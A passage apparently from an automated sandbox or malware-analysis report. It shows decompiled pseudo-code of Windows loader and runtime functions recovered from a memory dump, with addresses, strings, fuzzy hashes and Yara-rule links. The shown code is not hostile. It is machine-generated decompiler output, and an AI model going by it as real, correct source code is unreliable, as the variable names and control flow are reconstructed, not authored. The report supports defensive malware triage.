					if( *_t67 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						E0133138A(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v36, 0xc);
					}
					if(E01297D50() == 0) {
						_t69 = 0x7ffe0388;
					} else {
						_t69 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22e;
					}
					if( *_t69 != 0) {
						E0132FEC0(_t83,  *((intOrPtr*)(_t120 + 0x3c)), _v44, _v32);
					}
					if(( *0x1368724 & 0x00000008) != 0) {
						E013352F8( *((intOrPtr*)(_t120 + 0x3c)),  *((intOrPtr*)(_t120 + 0x28)));
					}
					_t117 = _v44;
					goto L26;
				}
				while(E013415B5(0x1368ae4, _t83, _t97, _t97) >= 0) {
					_t97 = _v28;
					_t83 = _t83 + 2;
					if(_t83 < _v40) {
						continue;
					}
					goto L10;
				}
				goto L24;
			}

0x01340eb7
0x01340eb9
0x01340ec0
0x01340ec2
0x01340ecd
0x0134105b
0x0134105b
0x01341061
0x01341066
0x01341066
0x0134106b
0x01341073
0x01341073
0x01340ed3
0x01340ed6
0x01340edc
0x01340ee0
0x01340ee7
0x01340ef0
0x01340ef5
0x01340efa
0x01340efc
0x01340efd
0x01340f03
0x01340f04
0x01340f06
0x01340f07
0x01340f09
0x01340f0e
0x01340f14
0x01340f23
0x01340f2d
0x01340f34
0x01340f34
0x01340f14
0x01340f52
0x00000000
0x00000000
0x01340f58
0x01340f73
0x01340f74
0x01340f79
0x01340f7d
0x01340f80
0x01340f86
0x01340fab
0x01340fb5
0x01340fc6
0x01340fd1
0x01340fe3
0x01340fd3
0x01340fdc
0x01340fdc
0x01340feb
0x01341009
0x01341009
0x01341015
0x01341027
0x01341017
0x01341020
0x01341020
0x0134102f
0x0134103c
0x0134103c
0x01341048
0x01341050
0x01341050
0x01341055
0x00000000
0x01341055
0x01340f88
0x01340f9e
0x01340fa2
0x01340fa9
0x00000000
0x00000000
0x00000000
0x01340fa9
0x00000000

Strings

`, xrefs: 01340F16

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 0da6f35b07afec70e3b86f66b881fd4431f2ddfed7963fe858fa54558697bfce
Instruction ID: f4129c893a17a195f4ee374177e09b10f1c086f5e2deeb11f03cd7fdb43e33f8
Opcode Fuzzy Hash: 0da6f35b07afec70e3b86f66b881fd4431f2ddfed7963fe858fa54558697bfce
Instruction Fuzzy Hash: A651AE713047429FD325DF28D880B5BBBE9EBC4708F04092CFA9697290D671F849CB62

Uniqueness

Uniqueness Score: -1.00%

Function 012AF0BF, Relevance: 1.4, Strings: 1, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E012AF0BF(signed short* __ecx, signed short __edx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char* _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				char _v36;
				char _v44;
				char _v52;
				intOrPtr _v56;
				char _v60;
				intOrPtr _v72;
				void* _t51;
				void* _t58;
				signed short _t82;
				short _t84;
				signed int _t91;
				signed int _t100;
				signed short* _t103;
				void* _t108;
				intOrPtr* _t109;

				_t103 = __ecx;
				_t82 = __edx;
				_t51 = E01294120(0, __ecx, 0,  &_v52, 0, 0, 0);
				if(_t51 >= 0) {
					_push(0x21);
					_push(3);
					_v56 =  *0x7ffe02dc;
					_v20 =  &_v52;
					_push( &_v44);
					_v28 = 0x18;
					_push( &_v28);
					_push(0x100020);
					_v24 = 0;
					_push( &_v60);
					_v16 = 0x40;
					_v12 = 0;
					_v8 = 0;
					_t58 = E012B9830();
					_t87 =  *[fs:0x30];
					_t108 = _t58;
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v72);
					if(_t108 < 0) {
						L11:
						_t51 = _t108;
					} else {
						_push(4);
						_push(8);
						_push( &_v36);
						_push( &_v44);
						_push(_v60);
						_t108 = E012B9990();
						if(_t108 < 0) {
							L10:
							_push(_v60);
							E012B95D0();
							goto L11;
						} else {
							_t109 = L01294620(_t87,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t82 + 0x18);
							if(_t109 == 0) {
								_t108 = 0xc0000017;
								goto L10;
							} else {
								_t21 = _t109 + 0x18; // 0x18
								 *((intOrPtr*)(_t109 + 4)) = _v60;
								 *_t109 = 1;
								 *((intOrPtr*)(_t109 + 0x10)) = _t21;
								 *(_t109 + 0xe) = _t82;
								 *((intOrPtr*)(_t109 + 8)) = _v56;
								 *((intOrPtr*)(_t109 + 0x14)) = _v32;
								E012BF3E0(_t21, _t103[2],  *_t103 & 0x0000ffff);
								 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
								 *((short*)(_t109 + 0xc)) =  *_t103;
								_t91 =  *_t103 & 0x0000ffff;
								_t100 = _t91 & 0xfffffffe;
								_t84 = 0x5c;
								if( *((intOrPtr*)(_t103[2] + _t100 - 2)) != _t84) {
									if(_t91 + 4 > ( *(_t109 + 0xe) & 0x0000ffff)) {
										_push(_v60);
										E012B95D0();
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t109);
										_t51 = 0xc0000106;
									} else {
										 *((short*)(_t100 +  *((intOrPtr*)(_t109 + 0x10)))) = _t84;
										 *((short*)( *((intOrPtr*)(_t109 + 0x10)) + 2 + (( *_t103 & 0x0000ffff) >> 1) * 2)) = 0;
										 *((short*)(_t109 + 0xc)) =  *((short*)(_t109 + 0xc)) + 2;
										goto L5;
									}
								} else {
									L5:
									 *_a4 = _t109;
									_t51 = 0;
								}
							}
						}
					}
				}
				return _t51;
			}

0x012af0d3
0x012af0d9
0x012af0e0
0x012af0e7
0x012af0f2
0x012af0f4
0x012af0f8
0x012af100
0x012af108
0x012af10d
0x012af115
0x012af116
0x012af11f
0x012af123
0x012af124
0x012af12c
0x012af130
0x012af134
0x012af13d
0x012af144
0x012af14b
0x012af152
0x012ebab0
0x012ebab0
0x012af158
0x012af158
0x012af15a
0x012af160
0x012af165
0x012af166
0x012af16f
0x012af173
0x012ebaa7
0x012ebaa7
0x012ebaab
0x00000000
0x012af179
0x012af18d
0x012af191
0x012ebaa2
0x00000000
0x012af197
0x012af19b
0x012af1a2
0x012af1a9
0x012af1af
0x012af1b2
0x012af1b6
0x012af1b9
0x012af1c4
0x012af1d8
0x012af1df
0x012af1e3
0x012af1eb
0x012af1ee
0x012af1f4
0x012af20f
0x012ebab7
0x012ebabb
0x012ebacc
0x012ebad1
0x012af215
0x012af218
0x012af226
0x012af22b
0x00000000
0x012af22b
0x012af1f6
0x012af1f6
0x012af1f9
0x012af1fb
0x012af1fb
0x012af1f4
0x012af191
0x012af173
0x012af152
0x012af203

Strings

@, xrefs: 012AF124

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction ID: 279bd9bde4c2a7f389a3faa8c38b798380db5306f5b8103e1bf1990da9803ada
Opcode Fuzzy Hash: 4b412e15f740e7d19b187a206102b9820fe056b1c8be356b654954a4ccb32fe9
Instruction Fuzzy Hash: 01519D71514711AFC720DF29C841A6BBBF8FF48750F00892EFA9587690E7B4E944CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 012F3540, Relevance: 1.4, Strings: 1, Instructions: 130
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E012F3540(intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v88;
				intOrPtr _v92;
				char _v96;
				char _v352;
				char _v1072;
				intOrPtr _v1140;
				intOrPtr _v1148;
				char _v1152;
				char _v1156;
				char _v1160;
				char _v1164;
				char _v1168;
				char* _v1172;
				short _v1174;
				char _v1176;
				char _v1180;
				char _v1192;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				short _t41;
				short _t42;
				intOrPtr _t80;
				intOrPtr _t81;
				signed int _t82;
				void* _t83;

				_v12 =  *0x136d360 ^ _t82;
				_t41 = 0x14;
				_v1176 = _t41;
				_t42 = 0x16;
				_v1174 = _t42;
				_v1164 = 0x100;
				_v1172 = L"BinaryHash";
				_t81 = E012B0BE0(0xfffffffc,  &_v352,  &_v1164, 0, 0, 0,  &_v1192);
				if(_t81 < 0) {
					L11:
					_t75 = _t81;
					E012F3706(0, _t81, _t79, _t80);
					L12:
					if(_a4 != 0xc000047f) {
						E012BFA60( &_v1152, 0, 0x50);
						_v1152 = 0x60c201e;
						_v1148 = 1;
						_v1140 = E012F3540;
						E012BFA60( &_v1072, 0, 0x2cc);
						_push( &_v1072);
						E012CDDD0( &_v1072, _t75, _t79, _t80, _t81);
						E01300C30(0, _t75, _t80,  &_v1152,  &_v1072, 2);
						_push(_v1152);
						_push(0xffffffff);
						E012B97C0();
					}
					return E012BB640(0xc0000135, 0, _v12 ^ _t82, _t79, _t80, _t81);
				}
				_t79 =  &_v352;
				_t81 = E012F3971(0, _a4,  &_v352,  &_v1156);
				if(_t81 < 0) {
					goto L11;
				}
				_t75 = _v1156;
				_t79 =  &_v1160;
				_t81 = E012F3884(_v1156,  &_v1160,  &_v1168);
				if(_t81 >= 0) {
					_t80 = _v1160;
					E012BFA60( &_v96, 0, 0x50);
					_t83 = _t83 + 0xc;
					_push( &_v1180);
					_push(0x50);
					_push( &_v96);
					_push(2);
					_push( &_v1176);
					_push(_v1156);
					_t81 = E012B9650();
					if(_t81 >= 0) {
						if(_v92 != 3 || _v88 == 0) {
							_t81 = 0xc000090b;
						}
						if(_t81 >= 0) {
							_t75 = _a4;
							_t79 =  &_v352;
							E012F3787(_a4,  &_v352, _t80);
						}
					}
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _v1168);
				}
				_push(_v1156);
				E012B95D0();
				if(_t81 >= 0) {
					goto L12;
				} else {
					goto L11;
				}
			}

0x012f3552
0x012f355a
0x012f355d
0x012f3566
0x012f3567
0x012f357e
0x012f358f
0x012f35a1
0x012f35a5
0x012f366b
0x012f366b
0x012f366d
0x012f3672
0x012f3679
0x012f3685
0x012f368d
0x012f369d
0x012f36a7
0x012f36b8
0x012f36c6
0x012f36c7
0x012f36dc
0x012f36e1
0x012f36e7
0x012f36e9
0x012f36e9
0x012f3703
0x012f3703
0x012f35b5
0x012f35c0
0x012f35c4
0x00000000
0x00000000
0x012f35ca
0x012f35d7
0x012f35e2
0x012f35e6
0x012f35e8
0x012f35f5
0x012f35fa
0x012f3603
0x012f3604
0x012f3609
0x012f360a
0x012f3612
0x012f3613
0x012f361e
0x012f3622
0x012f3628
0x012f362f
0x012f362f
0x012f3636
0x012f3638
0x012f363b
0x012f3642
0x012f3642
0x012f3636
0x012f3657
0x012f3657
0x012f365c
0x012f3662
0x012f3669
0x00000000
0x00000000
0x00000000
0x00000000

Strings

BinaryHash, xrefs: 012F358F

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: BinaryHash
API String ID: 0-2202222882
Opcode ID: e16160610d91d1a97a7b9d043296db1aaf51d06cbfac579bd1e9312c16ed2aeb
Instruction ID: 6c04d821e9307a46a9499ec03cd8507e827ebf314f4a3452f44e32e45f3a581a
Opcode Fuzzy Hash: e16160610d91d1a97a7b9d043296db1aaf51d06cbfac579bd1e9312c16ed2aeb
Instruction Fuzzy Hash: 8B4104B1D5052D9EDF21DA54CC84FEEB77CAB54754F0045A9EB09AB240DB309E88CF98

Uniqueness

Uniqueness Score: -1.00%

Function 013405AC, Relevance: 1.4, Strings: 1, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E013405AC(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				signed int _v20;
				char _v24;
				signed int _v28;
				char _v32;
				signed int _v36;
				intOrPtr _v40;
				void* __ebx;
				void* _t35;
				signed int _t42;
				char* _t48;
				signed int _t59;
				signed char _t61;
				signed int* _t79;
				void* _t88;

				_v28 = __edx;
				_t79 = __ecx;
				if(E013407DF(__ecx, __edx,  &_a4,  &_a8, 0) == 0) {
					L13:
					_t35 = 0;
					L14:
					return _t35;
				}
				_t61 = __ecx[1];
				_t59 = __ecx[0xf];
				_v32 = (_a4 << 0xc) + (__edx - ( *__ecx & __edx) >> 4 << _t61) + ( *__ecx & __edx);
				_v36 = _a8 << 0xc;
				_t42 =  *(_t59 + 0xc) & 0x40000000;
				asm("sbb esi, esi");
				_t88 = ( ~_t42 & 0x0000003c) + 4;
				if(_t42 != 0) {
					_push(0);
					_push(0x14);
					_push( &_v24);
					_push(3);
					_push(_t59);
					_push(0xffffffff);
					if(E012B9730() < 0 || (_v20 & 0x00000060) == 0 || _v24 != _t59) {
						_push(_t61);
						E0133A80D(_t59, 1, _v20, 0);
						_t88 = 4;
					}
				}
				_t35 = E0133A854( &_v32,  &_v36, 0, 0x1000, _t88, 0,  *((intOrPtr*)(_t79 + 0x34)),  *((intOrPtr*)(_t79 + 0x38)));
				if(_t35 < 0) {
					goto L14;
				}
				E01341293(_t79, _v40, E013407DF(_t79, _v28,  &_a4,  &_a8, 1));
				if(E01297D50() == 0) {
					_t48 = 0x7ffe0380;
				} else {
					_t48 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
				}
				if( *_t48 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
					E0133138A(_t59,  *((intOrPtr*)(_t79 + 0x3c)), _v32, _v36, 0xa);
				}
				goto L13;
			}

0x013405c5
0x013405ca
0x013405d3
0x013406db
0x013406db
0x013406dd
0x013406e3
0x013406e3
0x013405dd
0x013405e7
0x013405f6
0x01340600
0x01340607
0x01340610
0x01340615
0x0134061a
0x0134061c
0x0134061e
0x01340624
0x01340625
0x01340627
0x01340628
0x01340631
0x01340640
0x0134064d
0x01340654
0x01340654
0x01340631
0x0134066d
0x01340674
0x00000000
0x00000000
0x01340692
0x0134069e
0x013406b0
0x013406a0
0x013406a9
0x013406a9
0x013406b8
0x013406d6
0x013406d6
0x00000000

Strings

`, xrefs: 01340633

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction ID: 64bf054688642a175a675ca281e8026c495a67fc35a969a495e71134d48e4a65
Opcode Fuzzy Hash: 39b8bc2de1f442ef1f569125be10905dd0dd778863a6d43cfec09233fd0d58f3
Instruction Fuzzy Hash: 4E31E2323043066BE714DE28CD84F977BD9EBC4768F144229FB55EB280D674E904CB91

Uniqueness

Uniqueness Score: -1.00%

Function 012F3884, Relevance: 1.3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E012F3884(intOrPtr __ecx, intOrPtr* __edx, intOrPtr* _a4) {
				char _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char* _v20;
				short _v22;
				char _v24;
				intOrPtr _t38;
				short _t40;
				short _t41;
				void* _t44;
				intOrPtr _t47;
				void* _t48;

				_v16 = __edx;
				_t40 = 0x14;
				_v24 = _t40;
				_t41 = 0x16;
				_v22 = _t41;
				_t38 = 0;
				_v12 = __ecx;
				_push( &_v8);
				_push(0);
				_push(0);
				_push(2);
				_t43 =  &_v24;
				_v20 = L"BinaryName";
				_push( &_v24);
				_push(__ecx);
				_t47 = 0;
				_t48 = E012B9650();
				if(_t48 >= 0) {
					_t48 = 0xc000090b;
				}
				if(_t48 != 0xc0000023) {
					_t44 = 0;
					L13:
					if(_t48 < 0) {
						L16:
						if(_t47 != 0) {
							L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t44, _t47);
						}
						L18:
						return _t48;
					}
					 *_v16 = _t38;
					 *_a4 = _t47;
					goto L18;
				}
				_t47 = L01294620(_t43,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v8);
				if(_t47 != 0) {
					_push( &_v8);
					_push(_v8);
					_push(_t47);
					_push(2);
					_push( &_v24);
					_push(_v12);
					_t48 = E012B9650();
					if(_t48 < 0) {
						_t44 = 0;
						goto L16;
					}
					if( *((intOrPtr*)(_t47 + 4)) != 1 ||  *(_t47 + 8) < 4) {
						_t48 = 0xc000090b;
					}
					_t44 = 0;
					if(_t48 < 0) {
						goto L16;
					} else {
						_t17 = _t47 + 0xc; // 0xc
						_t38 = _t17;
						if( *((intOrPtr*)(_t38 + ( *(_t47 + 8) >> 1) * 2 - 2)) != 0) {
							_t48 = 0xc000090b;
						}
						goto L13;
					}
				}
				_t48 = _t48 + 0xfffffff4;
				goto L18;
			}

0x012f3893
0x012f3896
0x012f3899
0x012f389f
0x012f38a0
0x012f38a4
0x012f38a9
0x012f38ac
0x012f38ad
0x012f38ae
0x012f38af
0x012f38b1
0x012f38b4
0x012f38bb
0x012f38bc
0x012f38bd
0x012f38c4
0x012f38c8
0x012f38ca
0x012f38ca
0x012f38d5
0x012f393e
0x012f3940
0x012f3942
0x012f3952
0x012f3954
0x012f3961
0x012f3961
0x012f3967
0x012f396e
0x012f396e
0x012f3947
0x012f394c
0x00000000
0x012f394c
0x012f38ea
0x012f38ee
0x012f38f8
0x012f38f9
0x012f38ff
0x012f3900
0x012f3902
0x012f3903
0x012f390b
0x012f390f
0x012f3950
0x00000000
0x012f3950
0x012f3915
0x012f391d
0x012f391d
0x012f3922
0x012f3926
0x00000000
0x012f3928
0x012f392b
0x012f392b
0x012f3935
0x012f3937
0x012f3937
0x00000000
0x012f3935
0x012f3926
0x012f38f0
0x00000000

Strings

BinaryName, xrefs: 012F38B4

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: BinaryName
API String ID: 0-215506332
Opcode ID: 2862f9fb6f33a701a432bc95a9fb84a1684aabcb3254e6e23abcaf682ef32241
Instruction ID: 30d49b7342f5466a8f7ad3f39f82354eeb91206e4a258cdab836b2132c2eef4c
Opcode Fuzzy Hash: 2862f9fb6f33a701a432bc95a9fb84a1684aabcb3254e6e23abcaf682ef32241
Instruction Fuzzy Hash: 7431B172D2151AAFEB15DA58C945EBBFBB8FB80B20F01417DEB15A7351D6309E00CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 012AD294, Relevance: 1.3, Strings: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 33%

			E012AD294(void* __ecx, char __edx, void* __eflags) {
				signed int _v8;
				char _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				char* _v68;
				intOrPtr _v72;
				char _v76;
				signed int _v84;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v96;
				intOrPtr _v100;
				char _v104;
				char _v105;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t35;
				char _t38;
				signed int _t40;
				signed int _t44;
				signed int _t52;
				void* _t53;
				void* _t55;
				void* _t61;
				intOrPtr _t62;
				void* _t64;
				signed int _t65;
				signed int _t66;

				_t68 = (_t66 & 0xfffffff8) - 0x6c;
				_v8 =  *0x136d360 ^ (_t66 & 0xfffffff8) - 0x0000006c;
				_v105 = __edx;
				_push( &_v92);
				_t52 = 0;
				_push(0);
				_push(0);
				_push( &_v104);
				_push(0);
				_t59 = __ecx;
				_t55 = 2;
				if(E01294120(_t55, __ecx) < 0) {
					_t35 = 0;
					L8:
					_pop(_t61);
					_pop(_t64);
					_pop(_t53);
					return E012BB640(_t35, _t53, _v8 ^ _t68, _t59, _t61, _t64);
				}
				_v96 = _v100;
				_t38 = _v92;
				if(_t38 != 0) {
					_v104 = _t38;
					_v100 = _v88;
					_t40 = _v84;
				} else {
					_t40 = 0;
				}
				_v72 = _t40;
				_v68 =  &_v104;
				_push( &_v52);
				_v76 = 0x18;
				_push( &_v76);
				_v64 = 0x40;
				_v60 = _t52;
				_v56 = _t52;
				_t44 = E012B98D0();
				_t62 = _v88;
				_t65 = _t44;
				if(_t62 != 0) {
					asm("lock xadd [edi], eax");
					if((_t44 | 0xffffffff) != 0) {
						goto L4;
					}
					_push( *((intOrPtr*)(_t62 + 4)));
					E012B95D0();
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _t62);
					goto L4;
				} else {
					L4:
					L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t52, _v96);
					if(_t65 >= 0) {
						_t52 = 1;
					} else {
						if(_t65 == 0xc0000043 || _t65 == 0xc0000022) {
							_t52 = _t52 & 0xffffff00 | _v105 != _t52;
						}
					}
					_t35 = _t52;
					goto L8;
				}
			}

0x012ad29c
0x012ad2a6
0x012ad2b1
0x012ad2b5
0x012ad2b6
0x012ad2bc
0x012ad2bd
0x012ad2be
0x012ad2bf
0x012ad2c2
0x012ad2c4
0x012ad2cc
0x012ad384
0x012ad34b
0x012ad34f
0x012ad350
0x012ad351
0x012ad35c
0x012ad35c
0x012ad2d6
0x012ad2da
0x012ad2e1
0x012ad361
0x012ad369
0x012ad36d
0x012ad2e3
0x012ad2e3
0x012ad2e3
0x012ad2e5
0x012ad2ed
0x012ad2f5
0x012ad2fa
0x012ad302
0x012ad303
0x012ad30b
0x012ad30f
0x012ad313
0x012ad318
0x012ad31c
0x012ad320
0x012ad379
0x012ad37d
0x00000000
0x00000000
0x012eaffe
0x012eb001
0x012eb011
0x00000000
0x012ad322
0x012ad322
0x012ad330
0x012ad337
0x012ad35d
0x012ad339
0x012ad33f
0x012ad38c
0x012ad38c
0x012ad33f
0x012ad349
0x00000000
0x012ad349

Strings

@, xrefs: 012AD303

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 3b80a525241c9450386633b30e3944a5790a86630544986954dfab76f4afdcbc
Instruction ID: 296a7eb60288a3c59d3b53bfca797c6b1de38685ed367b70e8f55dbec9e25938
Opcode Fuzzy Hash: 3b80a525241c9450386633b30e3944a5790a86630544986954dfab76f4afdcbc
Instruction Fuzzy Hash: FC31CFB156830A9FC711DF68C881AAFBBE8EB95754F40092EFA9483610D634DD04CF92

Uniqueness

Uniqueness Score: -1.00%

Function 01281B8F, Relevance: 1.3, Strings: 1, Instructions: 86
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E01281B8F(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int* _a8) {
				intOrPtr _v8;
				char _v16;
				intOrPtr* _t26;
				intOrPtr _t29;
				void* _t30;
				signed int _t31;

				_t27 = __ecx;
				_t29 = __edx;
				_t31 = 0;
				_v8 = __edx;
				if(__edx == 0) {
					L18:
					_t30 = 0xc000000d;
					goto L12;
				} else {
					_t26 = _a4;
					if(_t26 == 0 || _a8 == 0 || __ecx == 0) {
						goto L18;
					} else {
						E012BBB40(__ecx,  &_v16, __ecx);
						_push(_t26);
						_push(0);
						_push(0);
						_push(_t29);
						_push( &_v16);
						_t30 = E012BA9B0();
						if(_t30 >= 0) {
							_t19 =  *_t26;
							if( *_t26 != 0) {
								goto L7;
							} else {
								 *_a8 =  *_a8 & 0;
							}
						} else {
							if(_t30 != 0xc0000023) {
								L9:
								_push(_t26);
								_push( *_t26);
								_push(_t31);
								_push(_v8);
								_push( &_v16);
								_t30 = E012BA9B0();
								if(_t30 < 0) {
									L12:
									if(_t31 != 0) {
										L012977F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t31);
									}
								} else {
									 *_a8 = _t31;
								}
							} else {
								_t19 =  *_t26;
								if( *_t26 == 0) {
									_t31 = 0;
								} else {
									L7:
									_t31 = L01294620(_t27,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _t19);
								}
								if(_t31 == 0) {
									_t30 = 0xc0000017;
								} else {
									goto L9;
								}
							}
						}
					}
				}
				return _t30;
			}

0x01281b8f
0x01281b9a
0x01281b9c
0x01281b9e
0x01281ba3
0x012d7010
0x012d7010
0x00000000
0x01281ba9
0x01281ba9
0x01281bae
0x00000000
0x01281bc5
0x01281bca
0x01281bcf
0x01281bd0
0x01281bd1
0x01281bd2
0x01281bd6
0x01281bdc
0x01281be0
0x012d6ffc
0x012d7000
0x00000000
0x012d7006
0x012d7009
0x012d7009
0x01281be6
0x01281bec
0x01281c0b
0x01281c0b
0x01281c0c
0x01281c11
0x01281c12
0x01281c15
0x01281c1b
0x01281c1f
0x01281c31
0x01281c33
0x012d7026
0x012d7026
0x01281c21
0x01281c24
0x01281c24
0x01281bee
0x01281bee
0x01281bf2
0x01281c3a
0x01281bf4
0x01281bf4
0x01281c05
0x01281c05
0x01281c09
0x01281c3e
0x00000000
0x00000000
0x00000000
0x01281c09
0x01281bec
0x01281be0
0x01281bae
0x01281c2e

Strings

WindowsExcludedProcs, xrefs: 01281BC5

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: WindowsExcludedProcs
API String ID: 0-3583428290
Opcode ID: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction ID: 0085955af74d5bd10f092726d7c04de018be50aee8b27b6f090d1f1b87893807
Opcode Fuzzy Hash: 1bf07565f9293903005a3f3a42acb8b910e30ddc7b9aa6256cfa4b1325e2faca
Instruction Fuzzy Hash: 8B210A7652251AAFDB22AA59C880FAB7B6DEF40A51F054425FF04DB2C0D634DC12D7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0129F716, Relevance: 1.3, Strings: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0129F716(signed int __ecx, void* __edx, intOrPtr _a4, intOrPtr* _a8) {
				intOrPtr _t13;
				intOrPtr _t14;
				signed int _t16;
				signed char _t17;
				intOrPtr _t19;
				intOrPtr _t21;
				intOrPtr _t23;
				intOrPtr* _t25;

				_t25 = _a8;
				_t17 = __ecx;
				if(_t25 == 0) {
					_t19 = 0xc00000f2;
					L8:
					return _t19;
				}
				if((__ecx & 0xfffffffe) != 0) {
					_t19 = 0xc00000ef;
					goto L8;
				}
				_t19 = 0;
				 *_t25 = 0;
				_t21 = 0;
				_t23 = "Actx ";
				if(__edx != 0) {
					if(__edx == 0xfffffffc) {
						L21:
						_t21 = 0x200;
						L5:
						_t13 =  *((intOrPtr*)( *[fs:0x30] + _t21));
						 *_t25 = _t13;
						L6:
						if(_t13 == 0) {
							if((_t17 & 0x00000001) != 0) {
								 *_t25 = _t23;
							}
						}
						L7:
						goto L8;
					}
					if(__edx == 0xfffffffd) {
						 *_t25 = _t23;
						_t13 = _t23;
						goto L6;
					}
					_t13 =  *((intOrPtr*)(__edx + 0x10));
					 *_t25 = _t13;
					L14:
					if(_t21 == 0) {
						goto L6;
					}
					goto L5;
				}
				_t14 = _a4;
				if(_t14 != 0) {
					_t16 =  *(_t14 + 0x14) & 0x00000007;
					if(_t16 <= 1) {
						_t21 = 0x1f8;
						_t13 = 0;
						goto L14;
					}
					if(_t16 == 2) {
						goto L21;
					}
					if(_t16 != 4) {
						_t19 = 0xc00000f0;
						goto L7;
					}
					_t13 = 0;
					goto L6;
				} else {
					_t21 = 0x1f8;
					goto L5;
				}
			}

0x0129f71d
0x0129f722
0x0129f726
0x012e4770
0x0129f765
0x0129f769
0x0129f769
0x0129f732
0x012e477a
0x00000000
0x012e477a
0x0129f738
0x0129f73a
0x0129f73c
0x0129f73f
0x0129f746
0x0129f778
0x0129f7a9
0x0129f7a9
0x0129f754
0x0129f75a
0x0129f75d
0x0129f75f
0x0129f761
0x0129f76f
0x0129f771
0x0129f771
0x0129f76f
0x0129f763
0x00000000
0x0129f763
0x0129f77d
0x0129f7a3
0x0129f7a5
0x00000000
0x0129f7a5
0x0129f77f
0x0129f782
0x0129f784
0x0129f786
0x00000000
0x00000000
0x00000000
0x0129f788
0x0129f748
0x0129f74d
0x0129f78d
0x0129f793
0x0129f7b7
0x0129f7bc
0x00000000
0x0129f7bc
0x0129f798
0x00000000
0x00000000
0x0129f79d
0x0129f7b0
0x00000000
0x0129f7b0
0x0129f79f
0x00000000
0x0129f74f
0x0129f74f
0x00000000
0x0129f74f

Strings

Actx , xrefs: 0129F73F

Memory Dump Source

Source File: 00000004.00000002.320829169.0000000001250000.00000040.00000001.sdmp, Offset: 01250000, based on PE: true

Similarity

API ID:
String ID: Actx
API String ID: 0-89312691
Opcode ID: 192ac136e53cac0d76c475876d893674b1cd4a5c1008a35cc21c92721de5ae31
Instruction ID: 2bd9662de0c7cd56177444e3999ea7b022ec5a0203c29a4500bbffa043485abe
Opcode Fuzzy Hash: 192ac136e53cac0d76c475876d893674b1cd4a5c1008a35cc21c92721de5ae31
Instruction Fuzzy Hash: 281190353387038BEFAD4E1D8B957BE7E95AB85624F24452AE661CB391DAB0C840C341

Uniqueness

Uniqueness Score: -1.00%

Function 01328DF1, Relevance: 1.3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E01328DF1(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t35;
				void* _t41;

				_t40 = __esi;
				_t39 = __edi;
				_t38 = __edx;
				_t35 = __ecx;
				_t34 = __ebx;
				_push(0x74);
				_push(0x1350d50);
				E012CD0E8(__ebx, __edi, __esi);
				 *((intOrPtr*)(_t41 - 0x7c)) = __edx;
